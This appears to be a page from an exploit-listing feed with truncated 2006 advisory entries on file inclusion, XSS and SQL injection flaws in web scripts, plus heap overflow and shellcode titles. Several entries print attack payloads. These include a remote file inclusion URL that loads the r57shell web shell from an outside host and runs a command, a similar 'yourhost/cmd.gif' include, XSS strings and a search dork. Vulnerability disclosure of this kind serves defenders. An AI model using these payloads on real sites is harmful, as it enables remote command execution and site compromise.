multiple file include exploits in EzUpload Pro v2.10

multiple file include exploits in EzUpload Pro v2.10 forum type : EzUpload Pro v2.10 bug found by : black-code & sweet-devil team : site-down type : file include exploits : form.php http://www.example.com/path/form.php?path=http://rst.void.ru/download/r57shell.txt?&cmd=pwd customize.php...

RE: Multiple Xss exploits in coolphp magazine

Subject: Multiple Xss exploits in coolphp magazine Date: 27 May 2006 14:25:31 -0000 Multiple Xss exploits in coolphp magazine script type : coolphp magazine bug found by : black-code & sweet-devil team : site-down type : Xss Codes : http://www.xxx.com/coolphp/index.php?op='scriptalert10/script...

Mini-NUKE 2.3 - 'Your_Account.asp' Multiple SQL Injections

source: https://www.securityfocus.com/bid/18126/info Mini-NUKE is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. Successful exploits could allow an attacker to compromis...

Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities

No description provided by source. Enigma Haber = 4.3 Multiple Remote SQL Injection Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Enigma Haber = 4.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=34...

Activity MOD Plus 1.1.0 - 'phpBB Mod' File Inclusion

phpBB 2.x Activity MOD Plus File Inclusion Vulnerability Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on phpBB 2.x Activity MOD Plus Original advisory can be found at: http://www.nukedx.com/?viewdoc=38 Succesful exploitation needs registerglobals on GET ...

F@cile Interactive Web <= 0.8x Remote (Include / XSS) Vulnerabilities

No description provided by source. F@cile Interactive Web = 0.8x Multiple Remote Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on F@cile Interactive Web = 0.8x Original advisory can be found at: http://www.nukedx.com/?viewdoc=35 File...

Realty Pro One Property Listing Script

Realty Pro One http://realtypro1.2run2.com/index.php Description: Realty Pro One is a powerful property listing tool with many features. Effected files: searchlookup.php images.php indexother.php requestinfo.php ?listingid Exploits & Vulns: XSS Vulnerability by the listingid variable:...

Pre News Manager v1.0

Pre News Manager v1.0 Homepage: http://www.preprojects.com/news.asp Description: Effected files: index.php newsdetail.php emailstory.php thankyou.php printableview.php tellafriend.php sendcomments.php Exploits & Vulns: XSS Vulnerabilities: By inserting IMG20"""SCRIPTalert"XSS"/SCRIPT" onto the id...

Symantec AntiVirus Remote Stack Buffer Overflow Vulnerability

Description Multiple Symantec products are prone to a remote stack buffer-overflow vulnerability. This issue allows remote attackers to execute arbitrary machine code with SYSTEM-level privileges, facilitating the complete compromise of affected computers. Symantec AntiVirus Corporate Edition 10....

phpBazar 2.1.0 - Remote File Inclusion Authentication Bypass

phpBazar 2.1.0 - Remote File Inclusion Authentication Bypass Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login...

libextractor 0.5.13 - Multiple Heap Overflows (PoC)

libextractor = 0.5.13 Multiple Heap Overflow PoC Exploits https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1801.zip 05172006-libextho.zip milw0rm.com 2006-05-17...

libextractor <= 0.5.13 Multiple Heap Overflow PoC Exploits

No description provided by source. libextractor = 0.5.13 Multiple Heap Overflow PoC Exploits http://www.milw0rm.com/sploits/05172006-libextho.zip milw0rm.com 2006-05-17...

libextractor <= 0.5.13 Multiple Heap Overflow PoC Exploits

Exploit for multiple platform in category dos / poc ========================================================== libextractor = 0.5.13 Multiple Heap Overflow PoC Exploits ========================================================== http://www.inj3ct0r.com/sploits/6149.zip 0day.today 2018-04-02...

GLSA-200605-11 : Ruby: Denial of Service

The remote host is affected by the vulnerability described in GLSA-200605-11 Ruby: Denial of Service Ruby uses blocking sockets for WEBrick and XMLRPC servers. Impact : An attacker could send large amounts of data to an affected server to block the socket and thus deny other connections to the...

Mac OS X Multiple Vulnerabilities (Security Update 2006-003)

The remote host is running Apple Mac OS X, but lacks Security Update 2006-003. This security update contains fixes for the following applications : AppKit ImageIO BOM CFNetwork ClamAV Mac OS X Server only CoreFoundation CoreGraphics Finder FTPServer Flash Player KeyCHain LaunchServices libcurl Ma...

EImagePro - view.asp?Pic SQL Injection

EImagePro - view.asp?Pic SQL Injection source: https://www.securityfocus.com/bid/17911/info EImagePro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. Successful exploi...

Albinator 2.0.8 - 'dlisting.php?cid' Cross-Site Scripting

source: https://www.securityfocus.com/bid/17826/info Albinator is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed in the browser of an...

OrbitHYIP 2.0 - signup.php?referral Cross-Site Scripting

OrbitHYIP 2.0 - signup.php?referral Cross-Site Scripting source: https://www.securityfocus.com/bid/17766/info OrbitHYIP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverag...

Invision Vulnerabilities, including remote code execution

Several Invision Flaws 2.1.5 and possibly earlier --------------------------------------------------- IceShaman & Wells HackThisSite.org 1 Code execution sources/actionpublic/search.php line 1261 $this-output = pregreplace "value="'$this-ipsclass-input'lastdate'"'i", "1 selected='selected'",...

linux/x86 xor-encoded Connect Back Shellcode 371 bytes

Exploit for linux/x86 platform in category shellcode ====================================================== linux/x86 xor-encoded Connect Back Shellcode 371 bytes ====================================================== linux/x86 xor-encoded Connect Back Shellcode 371 bytes...